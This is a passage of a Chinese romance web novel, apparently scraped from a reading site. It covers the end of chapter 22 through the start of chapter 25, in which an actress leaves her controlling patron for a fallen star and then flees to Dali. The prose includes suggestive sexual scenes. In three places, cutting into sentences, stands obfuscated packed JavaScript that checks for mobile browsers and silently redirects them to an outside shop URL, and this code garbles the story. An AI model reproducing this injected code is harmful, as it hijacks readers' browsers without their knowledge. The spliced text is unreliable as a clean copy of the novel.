房子不大,黑白灰的极简色调,冷冰冰的像个样板间,只有客厅角落里那盏落地的月球灯透着点暖意。 商颂进门的时候,看见玄关处随意丢着几双不同品牌的限量球鞋,茶几上还摊着翻了一半的剧本,那大概是他资源没掉之前的。 “随便坐,不用换鞋,反正明天保洁会来。喝点什么?家里只有酒。”伯雪寻不等商颂回答,就径直走向酒柜,拿出了一瓶没贴标签的红酒,“这就是个没什么年份的餐酒,别嫌弃。” 他给商颂倒了一杯,又给自己倒了一杯。 “不是说饿了吗?”商颂抿了一口酒,有些酸涩,但在舌根回甘。 “这就做。” 伯雪寻挽起袖子,露出了手臂上流畅的肌肉线条。他进了厨房,熟练地烧水、下面。 商颂倚在门框上看他。这双曾经在颁奖典礼上举起奖杯、在红毯上挥斥方遒的手,此刻正在切番茄、剁洋葱,为了给她做一盘并不那么正宗的意面。 油烟机嗡嗡地响着,这种充满了烟火气的噪音,居然让她感到前所未有的安宁。在这个名利场里厮杀太久,他们都快忘了生活本来应该是什么样子。 二十分钟后,两盘色泽浓郁的番茄肉酱意面摆上了桌。没有摆盘,也没有讲究的餐具,甚至有一根面条还挂在盘子边缘。 “尝尝,独家秘方,可能稍微咸了点。”伯雪寻拉开椅子坐在她对面。 商颂卷起一叉子送进嘴里。确实咸了,但也确实好吃,带着一种横冲直撞的热气。 两人都没有怎么说话,只是低头吃面,偶尔碰一下杯。究竟是饿了,还是太久没有这样毫无防备地面对一个人,他们把那瓶不知名的酒喝掉了一大半。 酒精开始在血管里游走,那种微醺的感觉让世界变得模糊而柔软。商颂看着对面的伯雪寻,灯光下他的眉眼变得异常温柔,不再是那个高高在上的顶流,只是一个会在深夜给喜欢的人做意面的男人。 她羽睫颤了颤,面不改色地咬住银叉,餐桌底下却是另一幅旖旎光景。 滢润的玉足施施然抬起,擦过他呢面柔滑的运动裤,微带着凉意,还装模做样地勾开他的裤边,却又不着急攻池越垒,不急不缓,一贴一贴地点在他的肌肤上,挠痒痒般的,又勾人极了。 伯雪寻视线下移,又往上瞟了一眼,她神色如常,有一口没一口地缠着叉子,只是几杯红酒下肚,还是浮起了些潮红,似乎只是不经意间的触碰。 他缩了腿,在她下次攀来,扑了个空,她要讪讪撤退时,脚踝被人给勾住,又是一轮较量,不知谁占了上风。 面上还是互不理睬,下面却是如胶似漆,彼此间的调情,不谋而合,心照不宣。 “叮。” 一声突兀的手机推送音,硬生生地割开了这层粘稠得化不开的暧昧空气。 商颂的手机就放在桌面上,屏幕亮起,光线刺眼。 那是她特别关注的新闻推送,来源是圈内最大的狗仔账号。 标题是加粗的黑体字,在昏暗的客厅里显得触目惊心: 【独家爆料!实锤!周彻深夜密会岑星,疑似好事将近?前顶流摇滚乐队SOLAR资源置换内幕大起底!】 商颂的动作僵住了。 照片拍得很清晰,旋转餐厅的落地窗前,周彻正笑着给岑星切牛排,姿态亲密无间。而那家餐厅,正是商颂之前想去却因为档期没去成的。 这是一个充满讽刺的闭环。 伯雪寻也看到了那条推送。他扫了一眼屏幕,然后抬头看向商颂,眼神里的欲念褪去,取而代之的是一种了然的清醒和一丝淡淡的心疼。 伯雪寻的手伸过来,没有说什么虚伪的安慰,只是指腹轻轻盖在了她的手机屏幕上,物理性地切断了那道刺眼的各种揣测和实锤。 世界重新归于只有两人的寂静,昏黄的月球灯下,灰尘在光束里缓慢浮游。 商颂没有把他的手挥开,她甚至低头笑了一下,笑意却只浮在皮肉表面,像是那种贴在橱窗玻璃上的贴纸,一撕就碎。 “你知道吗,”她开口,声音很轻,“这感觉就像是你等到了一颗馊掉的糖。你知道它已经坏了,吃了会闹肚子,会恶心,但因为那是你排了很久的队才领到的,所以当别人把它随手扔进垃圾桶的时候,你还是会感到一种——作为废品的愤怒。” 那是她的位置。周彻对面那个切牛排的位置,原本是属于她的。 这种被替代、被驱逐的不安感,如同涨潮的海水,漫过她的脚踝,那是作为“替补”永远无法摆脱的羞耻感。岑星回来了,正主归位,影子就该自觉地消散在黑暗里。 但商颂不是影子,她是带刺的玫瑰。 “啪”的一声轻响。 她从伯雪寻掌心下抽出手机,指尖飞快地在属于周彻的消息框里,输入了简短的一行字。 【按照约定,我们结束。】 没有给对方任何回旋的余地,甚至没有一句多余的质问。发送,拉黑,删除。 做完这一连串动作,不过短短三秒。像是在切除一块已经坏死的腐肉,如果不快准狠,痛感就会没完没了。 她把手机随意地往地毯上一扔,发出一声闷响。 然后,她抬起眼,看向伯雪寻。 那种伪装的平静彻底裂开了,露出了里面鲜红还在搏动的欲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126709|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望与野心。既然那条光鲜的大路已经被堵死,那她就要在泥潭里,开出一朵最艳丽的恶之花。 “看来今晚,我们都是被遗弃的人了。” 商颂站起身,绕过那张此时显得有些碍事的餐桌,走到了伯雪寻的面前。 她居高临下地看着他,空气里红酒的酸涩味和番茄酱的浓郁气息混杂在一起,发酵出一种颓靡的氛围。 “但我不想当可怜虫。”她伸手,指尖挑起他微敞的领口,顺着锁骨的线条缓慢下滑,最后停在他衬衫的第二颗纽扣上,“伯雪寻,那你现在想要我吗?” 这是一个充满了挑衅的邀请。 不是因为爱,而是因为她急需一场占有,来填补那刚刚被剜去一角的自尊。 伯雪寻仰着头,喉结在她指尖的游走下难耐地滚动了一下。 他看懂了她眼底那簇正在燃烧的火。那是一种要把一切都烧干净的决绝,带着报复性的快意。 “商颂,”他握住她作乱的手,却没有推开,反而用力一拉,让她失去平衡跌坐在自己的大腿上,“你这是在玩火。” “火如果不烧起来,怎么能看得清?”商颂顺势搂住他的脖子,整个人像没有骨头的蛇一样缠了上去。她低下头,红唇擦过他的耳廓,“烧死我也好,总比冻死在这个没人要的夜晚强。” 下一秒,伯雪寻的手掌扣住了她的后脑,不需要再多的言语试探,一个带着惩罚意味的吻重重地压了下来。 那不是什么温柔的安抚,更像是一场势均力敌的撕咬。 带着番茄意面的酸甜,还有劣质红酒的回甘,这种味道甚至称不上美好,却无比真实。他们像是在世界末日前狂欢的逃犯,急切地索取着彼此口腔里的氧气。 餐椅发出一声不堪重负的吱呀声。 天旋地转间,商颂被他一把抱起,几步跨过散落着杂物的地板,被压进了那张略显狭窄的单人沙发里。 那盏月球灯在晃动中投下明明灭灭的光斑。 伯雪寻的动作很急,衬衫纽扣崩开了一颗,滚落到不知名的角落。他略显粗暴地吻着她的锁骨,那种力道在皮肤上留下了一串绯红的印记。 商颂仰着头,看着天花板上斑驳的光影,眼角滑落一滴生理性的泪水,却在下一秒就勾起嘴角笑了。 这种真实的触碰,这种为了她而失控的热度,终于将那个“旋转餐厅”的冰冷画面击得粉碎。 不够。 仅仅是吻,根本不够填补那具枯萎身体的空虚。 伯雪寻一只手搂着她的腰,另一只手掐住了她的腰。 门关上,黑暗变得更加浓稠,也更加私密。 并没有开灯。窗帘拉得严严实实,房间很快就被情欲的潮湿所覆盖。 商颂被轻轻放在了那张柔软的大床上。 伯雪寻覆了上来。他没有急躁,他撑在她的上方,在微弱的天光下,手指轻轻抚过她的脸颊,“还要继续吗?” 商颂没有回答。 她伸出手,动作生涩又坚决。 衣物褪去,像是一层层剥落的束缚与尊严。 在那张承载了无数谎言与秘密的床上,两具原本就属于彼此的身体,终于在时隔三年后,重新契合在一起。 这是一场温柔到极致的占有。 伯雪寻动作很轻,他熟悉她身上的每一处敏感,记得她颤抖的频率,也记得她情动时咬着下唇隐忍的样子。 他用自己的身体,一点一点,把那个名为“周彻”的影子从商颂的身体里挤出去。 汗水交织,呼吸纠缠。 那是一种要把灵魂都揉碎了喂给对方的惨烈。 商颂紧紧攀附着他宽阔的脊背,指甲几乎陷进他的肉里。 在这种极度的欢愉与灭顶的酸涩中,她分不清这是报复,还是救赎。 23. 第 23 章 商颂醒来的时候,已是午后。 窗帘依旧没有拉开,将那个充满算计与窥探的世界严丝合缝地挡在外面。屋内的空气像是发酵的葡萄酒,带着微酸的靡丽,每一次呼吸都像是被细小的电流轻吻肺叶。 身边已经空了,只有床单上深刻的褶皱和残留的体温,昭示着昨夜的荒唐与放纵。她动了动身子,酸痛感顺着骨缝蔓延,却意外地并不让人反感。那是活着的感觉,比在高定礼服里端着架子假笑要真实得多。 她随手捞起一件伯雪寻的宽大衬衫套在身上,光着脚踩在地板上。空气里弥漫着一股淡淡的咖啡香,那是某种名为“安心”的味道。 客厅里,投影仪正无声地投射着画面。 伯雪寻正窝在沙发的一角,腿上摊开一本毛姆的《面纱》,手边放着一杯冰美式。听见动静,他抬起头,那双深情眼里带着几分未散的慵懒和显而易见的纵容。 “醒了?锅里有海鲜粥。” 他的声音有些哑,大概是昨晚用嗓过度。商颂的脸颊红了一下,随即又扬起下巴,摆出一副漫不经心的姿态走了过去。 “不饿。”她像一只餍足的猫,蜷进了他怀里,找了个舒服的位置靠着,“看什么呢?” “随便找的老片子,《蒂凡尼的早餐》。”伯雪寻顺势揽住她的腰,手掌在她腰侧轻轻摩挲,带着安抚的意味,“本来想挑部动作片学习一下技巧,怕你觉得我太功利。” 商颂嗤笑一声,指尖在他胸口画圈,“你昨晚的‘技巧’还需要学习?” 伯雪寻抓住她作乱的手,放在唇边吻了吻指尖,“那只能说明对手配合得好,亦师亦友。” 商颂没再说话,视线落向幕布。那个渴望在上流社会立足却又渴望真爱的霍莉,在雨中寻找被她遗弃的猫。黑白的光影交错在伯雪寻的侧脸上,将他的轮廓勾勒得深邃而迷人。 她突然意识到,这个男人哪怕是从神坛跌落,骨子里的那种松弛感依旧高级得令人嫉妒。 “想吃樱桃。”商颂突然开口,声音软绵绵的,带着点理所当然的娇气。 伯雪寻挑了挑眉,却没有任何不耐烦。他伸手从茶几上的果盘里捏起一颗红得发紫的车厘子,没有直接递给她,而是咬在齿间,低下头凑近她。 商颂的眸光闪了闪,迎了上去。 汁水在唇齿间爆开,甜意混着刚才冰美式的苦涩,调制出一种令人上瘾的味道。 他喂得很耐心,舌尖卷走流到她嘴角的汁液。 “甜吗?”他抵着她的额头问。 “还行。”商颂舔了舔唇,眼波流转,“没你甜。” 伯雪寻低笑一声,他伸手将她鬓角的碎发别到耳后,眼神专注得让人心惊,“商颂,你这勾人的本事,要是用在正道上,早就拿影后了。” “在你身上还不算正道?”商颂反问,手指勾住他的领口,“我可是在投资潜力股。” “那我得努力了,”伯雪寻握住她的手,“不能让金主失望。” 屋内流淌着《MoonRiver》的旋律,风扫过那本《面纱》的一页:【我对你根本没抱幻想。我知道你愚蠢、轻佻、头脑空虚,然而我爱你。我知道你的企图、你的理想,你势利、庸俗,然而我爱你。我知道你是个二流货色,然而我爱你。】 而在城市的另一端,周氏集团总裁办里,气氛冷凝成冰。 周彻靠在造价不菲的人体工学椅上,指间夹着一根并未点燃的万宝路。 那条分手短信依旧停留在他的手机屏幕上。 起初看到的时候,他只觉得好笑。 商颂是什么人?那是他一手捧起来的金丝雀,是在这名利场里必须要依附他这棵大树才能生存的菟丝花。她那种骄傲是易碎的,是需要用昂贵的资源和金钱去维护的。 离开他?她能去哪? 周彻甚至没有回复,只是随手将手机扔在一旁,继续和几个投行的高管谈论着几十亿的并购案。在他看来,这不过是女人常用的小把戏——吃醋、闹别扭、博关注。 就像是被主人冷落的宠物,总要弄出点动静来乞求爱抚。等她在外面碰了壁,淋了雨,自然会乖乖回来,到时候他再随便给个什么高奢代言哄一哄也就是了。 然而,二十四小时过去了。 那个应该回来道歉、哭诉、或者至少打个电话来质问的女人,人间蒸发了。 周彻看着窗外阴沉的天色,心里莫名生出一股烦躁。那种感觉就像是养在笼子里的鸟,明明门开着都不敢飞,某天突然不见了,你确信它飞不远,也活不下去,但这种“失控”本身,就是对拥有者权威的挑衅。 “咚咚。” 助理推门进来,手里拿着一份文件,神色有些小心翼翼,“周先生,您让我查的商小姐的行踪……” “人在哪?”周彻漫不经心地转动着手里的万宝路,“是不是在哪个酒店躲着哭?或者是回了她那个快倒闭的公司?” 助理顿了顿,似乎在斟酌措辞,最后还是硬着头皮说道:“都不是。商小姐昨晚……去了东四环的一个老小区。” “老小区?”周彻皱眉,显然对这个词感到陌生且厌恶。 “是……伯雪寻的住所。” 周彻手中的万宝路“咔嚓”一声被捏断了。碎裂的烟叶簌簌落下,弄脏了他昂贵的西裤,但他仿佛毫无察觉。 伯雪寻。 周彻想起不久前给商颂看的那份“黑料”,想起她当时震惊和恶心的表情。按理说,她应该对那个男人避之不及才对。 “你确定?”周彻的声音阴沉得可怕。 “非常确定。”助理冷汗直冒,把手里的平板递过去,“狗仔那边虽然没敢发,但拍到了商小姐的车进了小区地库,直到现在……还没出来。” 直到现在还没出来。 这意味着什么,成年人都懂。 一股前所未有的暴戾从周彻的心底升起。他一直以为商颂是在耍小性子,却没想到她是真的敢——敢当着他的面,跳进另一个男人的怀里,甚至还是一个不如他的男人。 这是背叛,更是羞辱。 他猛地站起身,走到巨大的落地窗前,俯瞰着脚下蝼蚁般的车水马龙。 “有意思。”周彻突然笑了,笑意却未达眼底,“商颂,你以为找个垃圾回收站就能恶心到我?” 在他看来,这依然是商颂为了激怒他而采取的极端手段。 “周先生,要不要去……”助理试探着问。 “不用。”周彻摆了摆手,重新恢复了那副高高在上的傲慢姿态,“伯雪寻现在自身难保,欠了一屁股违约金,连像样的资源都拿不到。商颂是个聪明人,她过不了那种苦日子。” 他笃定,商颂只是一时冲动,是被所谓的“同病相怜”冲昏了头脑。 等这股劲儿过了,等她发现那个男人给不了她想要的风光和虚荣,她会看清现实的残酷。 “把之前谈好的那个S级古偶剧的女一号先停一停,放个风声出去,就说在考虑换岑星。”周彻冷冷地下令,“另外,找几家媒体,把伯雪寻那点破事再翻出来炒一炒,我要让他这辈子都翻不了身。” 他要逼她自己回来。 他要让她知道,离开了他周彻,她商颂什么都不是。 而此时的东四环公寓里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126710|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并不知晓暴风雨即将临近的两人,正在进行着一场关于电影的幼稚争论。 商颂懒洋洋地蜷在深灰色的沙发里,领口松松垮垮地斜向一边,露出一大片莹白的肩颈,上面还隐约可见几枚淡红色的吻痕,像是雪地里落下的残梅,艳得刺目。 屏幕上放着王家卫的《花样年华》。周慕云和苏丽珍在逼仄的楼道里擦肩而过,眼神拉丝,欲语还休。 “这电影我看过不下二十遍。”商颂打了个哈欠,百无聊赖地抬起脚,将被子踢到一边。 她没穿袜子,那一双玉足在昏暗的光线下白得晃眼。她并不安分,脚尖探过去,顺着伯雪寻的小腿线条缓慢上移,隔着那层居家运动裤的布料,轻轻磨蹭,带着显而易见的挑逗。 伯雪寻正坐在地毯上,背靠着沙发,手里拿着一颗苹果在削皮。那把水果刀在他指间翻飞,长长的果皮像红色的绸带般垂落,没有断。 感觉到腿上的异样,他手上的动作没停,只是喉结上下滚了一下,嗓音低哑:“那换一部?《色戒》?” 商颂轻笑出声,脚尖得寸进尺地钻进他的裤管,贴上他紧实温热的肌肤,像是寻找热源的蛇,“不用换电影,换个人演就行。” 伯雪寻终于停下了手里的动作。他把削好的苹果切成刚好入口的小块,插上牙签,回过身,正好对上商颂那双像猫一样慵懒又狡黠的眼睛。 他没躲,反而一把捉住了她在衣服里作乱的脚踝,掌心滚烫,指腹摩挲着那一截细腻的踝骨,带来一阵令人战栗的痒意。 “阿颂,”他微微仰头看她,眼神幽深,嘴角却噙着一抹宠溺又无奈的笑,“吃苹果,降降火。” 商颂俯下身,发丝垂落在他的脸颊上。她没有去接苹果,而是张开嘴,轻轻咬住了他的手指。 并没有用力,只是含着,舌尖若有似无地扫过他的指尖,湿润而温热。 伯雪寻的呼吸骤然乱了一拍。 他松开了她的脚踝,转而扣住她的后脑勺,猛地将她压向自己。两人之间的距离瞬间归零,鼻尖抵着鼻尖,连彼此眼底的倒影都看得清清楚楚。 “商颂,”他声音有些发狠,却更像是某种缴械投降,“你是真不怕我死在你身上。” “牡丹花下死。”商颂弯起眼睛,眼底的水光潋滟,那是只有在他面前才会流露出的风情,“做鬼也风流啊,伯sir。” 这一场缠绵比昨夜更甚。 在极致的颤栗中,她突然产生了一种错觉。 仿佛只要抱紧这具身体,那些权衡利弊的算计,那些作为替身的屈辱,那些需要在名利场里步步为营的疲惫,统统都可以被这一刻的欢愉所冲刷。 “阿颂……” 伯雪寻在她耳边低语,带着某种穿透时光的痛楚和眷恋。 商颂睁开眼,视线模糊中,她看清了他眼角的湿红。 那不是演员的演技,那是一个男人对自己宿命般沉沦的悲哀与狂喜。 她突然笑了,凑上去咬住他的唇角,尝到了一丝咸涩的味道。 “伯雪寻,”她声音支离破碎,却又无比清晰,“如果明天世界末日,我一定还是会选面包而不是爱情。” 伯雪寻动作未停,反而更狠地将她揉进怀里,声音暗哑得不成样子。 “我知道。” “但我今天晚上,”商颂勾着他的脖子,“我是你的。” 在这一刻,两个在欲望都市中满身疮痍的灵魂,像是两条从深海相遇的盲鱼,明知前路无光,明知结局荒唐,却依然在水草与淤泥中,死死纠缠,不死不休。 至于明天? 管他什么洪水滔天。 24. 第 24 章 周彻的报复来得比预想中更快,也更下作。像是为了印证权势与蝼蚁之间那道不可逾越的鸿沟,他并没有动用什么复杂的商业手段,仅仅是动了动手指,那些原本簇拥在商颂和伯雪寻身边的机会,便如潮水般顷刻退去,留下一地狼藉的淤泥。 手机屏幕幽幽地亮着,那是屋内唯一的光源。 #伯雪寻地下夜场视频# #清冷月光人设崩塌# #商颂资源全线掉皮# 视频画质很渣,像是好几年前用劣质手机偷拍的。昏暗逼仄的LiveHouse,充斥着廉价的红绿灯光和令人躁动的荷尔蒙气息。那个还未成名的少年,穿着被汗水浸透的紧身背心,抱着吉他,在一片烟雾缭绕中嘶吼。 在营销号刻意剪辑的特写镜头里,少年的眼神迷离,姿态狂放,甚至有些不堪入目的撩拨,台下有女客轻佻地往他身上塞钞票,他没有拒绝,只是扯着嘴角露出一个讽刺又颓靡的笑。 那一瞬间,高高在上的“禁欲系男神”、“内娱白月光”伯雪寻,被打落尘埃,变成了一个为了钱可以出卖色相的“午夜牛|郎”。 评论区早已沦陷,平日里那些喊着“哥哥”的粉丝,此刻成了挥舞道德大棒的刽子手,路人更是极尽羞辱之能事,将“脏”、“烂”、“伪君子”这些字眼钉在他的名字上。 那是为了生计出卖色相的过去,是在泥潭里打滚求生的证据。 现在,这证据被周彻那双翻云覆雨的手,高高挂在了耻辱柱上,供万人唾骂。 品牌方的解约函如同雪片般飞来;原本还在接触的两个S级剧本,制片人连电话都不接了,只冷冰冰地回了三个字:“等等看。” 整座城市的灯火依旧辉煌,但属于商颂和伯雪寻的那一盏,被掐灭了。 客厅里安静得可怕,只能听见加湿器喷吐水雾的细微声响。 商颂手里夹着一支细长的女士香烟,轻嗅那股薄荷爆珠的凉意。她坐在落地窗前的羊毛地毯上,眼底凝着霜。 “周彻这一手,玩得倒是比我想象中要脏。”她轻笑一声,声音里听不出喜怒,“我还以为他这种世家子弟,会不屑于这种下三滥的手段。” 是了,这就是周彻的“家教”。给一巴掌,等着她跪回去,哭着求一颗糖吃。 他切断了她所有的退路,不仅是为了毁掉伯雪寻,更是为了逼她认输。他要她明白,离了他那座金屋,她商颂就算飞得再高,也不过是一只断了线的风筝,迟早要摔进烂泥里。 这道理她懂,在决定和他断的那一刻,她就做好了粉身碎骨的准备。 所以,她不会跪。哪怕周彻把天捅个窟窿,她也就是扬着脖子,看这天怎么塌下来。 “怕吗?” 身后传来脚步声,随后是一个温热的怀抱贴了上来。伯雪寻没有开灯,他在黑暗中拥住她,下巴搁在她的颈窝处,鼻息有些发烫。 商颂侧过头,借着月光看清了他的脸。 那些污言秽语仿佛对他没有任何杀伤力。他眼底甚至带着几分漫不经心的倦意,那是早就跌落过谷底的人特有的麻木与坦然。对于伯雪寻来说,这一身荣华本来就是捡来的,还回去也不可惜,只不过是重新回到那条暗巷里罢了。 他唯独在看她的时候,那双总是似醉非醉的眼里,才有了真实的慌张和恐惧。 “阿颂,那些视频……很丑吧?”他的手指穿过她的长发,力道很轻,“不该把你拖进来的。” “我不在乎你过去是在哪里唱歌,也不在乎你是站着还是跪着。”商颂截断了他的话,语气冷硬,“我只在乎,周彻想让我认输。” “阿颂。”伯雪寻的手臂收紧了一些,“离开北京吧。去大理。” “大理?” “你不是一直说想去那里养老吗?我托朋友置办了个院子,就在才村码头,二楼有个很大的露台,能看见苍山的雪。”伯雪寻的声音低沉诱哄,“机票我都买好了,明早最早的航班。这边的烂摊子我来处理,你去那边避一避。” 商颂猛地挣脱了他的怀抱,转身看着他。月光下,她的眼神锐利如刀。 “避一避?伯雪寻,你是让我当逃兵?” 她站起身,高定真丝睡裙勾勒出她曼妙却紧绷的曲线,像一张拉满的弓。 “周彻之所以这么做,就是要看我狼狈逃窜的样子。我前脚刚走,后脚整个北京就会传遍‘商颂畏罪潜逃’、‘金丝雀离了金主活不下去’的笑话。我走了,才是真的输了。”商颂冷冷地盯着他,“我哪儿都不去。我就在这里,看他还能有多下作。” 伯雪寻张了张嘴,眼底划过一丝深切的痛楚和无奈。他知道她的骄傲,那是比生命还要重的东西。 可他也知道周彻的手段。这才只是开始。 接下来的三天,北京对商颂展现出了它最狰狞的一面。 周彻的封|杀|令下得滴水不漏。商颂尝试联系以前的“朋友”,那些曾在酒会上对她大献殷勤的资方大佬,此刻一个个像是人间蒸发。她唯一还在洽谈的一个二线杂志封面拍摄,也在临行前一小时被通知换人——换成了岑星。 这不仅是打压,这是羞辱。 更大的生存危机紧随其后。商颂目前住的高级公寓,是她在跟了周彻第二年自己贷款买的,虽然写在她名下,但在这个圈子里,没有人敢再给她批贷续贷。银行的催款电话像夺命连环call,物业管家一脸抱歉地递来一张律师函——由于她涉嫌违约由于某些条款,房屋可能面临被收回拍卖的风险。 连住的地方都要没了。 第三天的暴雨夜,公寓突然停电了。 不是故障,是被恶意断电。四周的万家灯火映衬得这间豪宅像是一座孤岛。商颂坐在黑暗中,手里拿着刚刚被送来的违约金赔偿单,数额大得惊人,足以将她这几年攒下的积蓄掏空,甚至还要背上巨额债务。 她不肯向周彻低头,但现实已经卡住了她的脖子,逼得她窒息。 “还要撑吗?” 黑暗中,一簇火苗亮起。伯雪寻点了一支蜡烛,放在茶几上。摇曳的烛火照亮了他略显苍白的脸,也照亮了商颂那张已经几天没怎么合眼显得有些灰败的面容。 “他们封了我的账户。”商颂的声音透着一股极力压抑的绝望,“周彻……他是想逼死我。” “他不是想逼死你,他是想驯化你。像熬鹰一样。”伯雪寻走过来,蹲在她面前,伸手抚平她眉心的褶皱,“阿颂,人要吃饭,要活着,尊严在生存面前,有时候是可以稍微折一折的。” 商颂猛地抬头看他,眼中满是不可置信的愤怒,“你要我去求他?” “不。”伯雪寻摇头,眼神变得异常坚定,“我是让你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134044|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去大理。” 商颂刚要发作,伯雪寻却从身后拿出了一叠厚厚的剧本,放在了那张天价违约金单子上。 封皮很简陋,只有手写的几个大字——《南诏野史》。 “这不是逃避,是机会。”伯雪寻撒谎了,“我托关系打听到的。一个拿过戛纳提名的文艺片导演,目前在云南筹备新片。他不用流量,不用资本捧的人,只要‘有故事的脸’。这部戏周彻的手伸不过去,那个导演谁的面子都不卖。” 商颂的视线落在那本剧本上。 “他明天下午在大理有一场隐秘的试戏,只面试五个人。”伯雪寻握住她冰凉的手,“阿颂,你的演技被周彻那种商业烂片埋没了三年。去试试,如果拿下了这个角色,你就不再是依附于谁的资源咖,而是真正的演员。到时候,你就有了和周彻站着说话的资本。” 这番话太具诱惑力了。它精准地击中了商颂的死穴——野心,以及对自我价值证明的渴望。 这不再是一场败走麦城的逃亡,而是一次卧薪尝胆的征途。 商颂的手指颤抖着,翻开了剧本的第一页。里面的文字粗砺、生猛,透着一股原始的生命力,那是她久违了的属于艺术的悸动。 她抬起头,看向伯雪寻。男人的眼睛在烛火下亮得惊人,那里盛满了对她的信任与期许,仿佛她是块蒙尘的美玉,只要擦一擦就能发光。 商颂并不知道,这剧本是伯雪寻昨晚熬通宵,用打印机打出来的一个从未立项的废弃本子。哪有什么戛纳导演,哪有什么试戏。 那不过是他为了保住她最后的尊严,为了让她能心安理得地离开这个是非之地,精心编织的一个谎言。 “如果我选不上呢?”商颂的声音有些抖。 “选不上,我们就当去度了个假。”伯雪寻笑了,“那里有风,有海,有花。阿颂,哪怕什么都不做,能在那里呼吸一口不带铜臭味的空气,也是赢了。” 他不需要她赢过周彻,他只需要她活得像个人。 商颂沉默良久。 终于,她合上了剧本,闭上眼,深吸了一口那混着烛泪气味的空气。 “好。”她说,声音里多了一丝决绝的狠劲,“我去。” “几点的飞机?” “明早六点。”伯雪寻站起身,像是卸下了千斤重担,“行李我收拾好了。车也在楼下。今晚别睡了,我们现在就走,赶在周彻下一步动作之前。” 逃亡是在黎明前最黑暗的时刻开始的。 黑色的商务车如同一条游鱼,悄无声息地滑出了那个如同监狱般的高级公寓。 后视镜里,那栋象征着北京权势与欲望的大楼越来越远,最后缩成了一个微不可见的光点。 商颂靠在椅背上,看着车窗外飞速倒退的路灯。她知道,她这一次离开,带走的不止是满身的伤痕,还有她孤注一掷的骄傲。 伯雪寻开着车,手稳得不像话。他没有看商颂,只是在车里放了一首老歌。 莱昂纳德·科恩的《Hallelujah》。 那是关于破碎与救赎的歌。 他送她去远方,去那个也许并没有试镜但一定有自由的地方。而他自己,将留在这座即将崩塌的孤岛上,面对洪水滔天。 只要她好好的。 哪怕要他在地狱里腐烂成泥,也无所谓。 25. 第 25 章 大理的阳光并不是那种温吞的治愈系,它带着高原特有的紫外线,直白、暴烈,像是要将人扒一层皮。 当商颂按照那个地址,找到所谓的“戛纳提名导演的工作室”时,看到的只是一片正在施工的烂尾楼,和几只在废墟里觅食的野狗。 哪里有什么试镜。 哪里有什么翻身的机会。 她站在飞扬的尘土里,手里捏着那本打印出来的剧本。那剧本上的每一个字,现在看来都像是伯雪寻那个骗子写下的遗言。他用一个如此拙劣却又完美的谎言,将她打包流放到了这个名为“诗与远方”的避难所,自己却留在北京那个绞肉机里,独自面对周彻的雷霆震怒。 商颂应该愤怒的,应该立刻买机票飞回去,狠狠甩那个自以为是的男人一耳光。 可是,当风从苍山那头吹过来,裹挟着陌生的草木香气时,她突然感到一种彻骨的疲惫。那种无力感像是潮水,没过了她的口鼻。她清楚地意识到,伯雪寻是对的。现在的她回去,除了陪葬,一无是处。 这种清醒,比被抛弃更让人难堪。 第三天的傍晚,商颂实在无法忍受那种几乎要将人逼疯的静谧,换了一身黑色的吊带长裙,外面罩了件有些旧的针织衫,随意把长发挽了个髻,也没化妆,戴上墨镜便出了门。 她没有去那些游客聚集的人民路,而是拐进了一条不知名的深巷。巷子尽头,一家名为“无妄”的酒吧亮着昏黄而暧昧的霓虹灯牌。 那灯牌有些接触不良,滋啦滋啦地闪烁着,透着一股半死不活的颓靡劲儿。 推开厚重的木门,一股浓烈的烟草味混着劣质酒精的气息扑面而来。不同于那种唱着《南方姑娘》的清吧,这里的重金属音乐震耳欲聋,台下的酒客寥寥无几,大多是一脸纵欲过度后的麻木。 商颂挑了个最角落的位置坐下,点了一杯纯威士忌。 舞台很低,灯光打得很吝啬,只聚拢在中央那个男人身上。 他背对着观众,正低头调试着音箱,动作不急不缓,甚至可以说是有条不紊。他没有穿那些夸张的皮衣或者破洞裤,而是一件剪裁极简的纯黑衬衫,袖口一丝不苟地卷到小臂,露出的线条流畅。 “喂,调够了没啊?到底唱不唱?不唱退钱!”台下有个醉汉把酒瓶砸得震天响。 台上的男人动作一顿,缓缓转过身来。 一束幽蓝的冷光正好打在他的侧脸上。 商颂端着酒杯的手猛地一颤,酒液溅出,落在手背上,冰凉刺骨。 那是一张极其英挺甚至可以说是完美的脸。 与三年前那个满头金发、张扬狂放的SOLAR疯子主唱不同,现在的祁演,剪了一头极短的寸头。这种极考验骨相的发型,让他原本就深邃凌厉的五官更加无处遁形。他的眼窝深陷,鼻梁高挺如峰。 岁月和苦难没有让他变得猥琐或癫狂,反而像是给他开了刃。他瘦了,却更结实了,整个人沉淀出一种内敛而压抑的狠劲。 祁演。 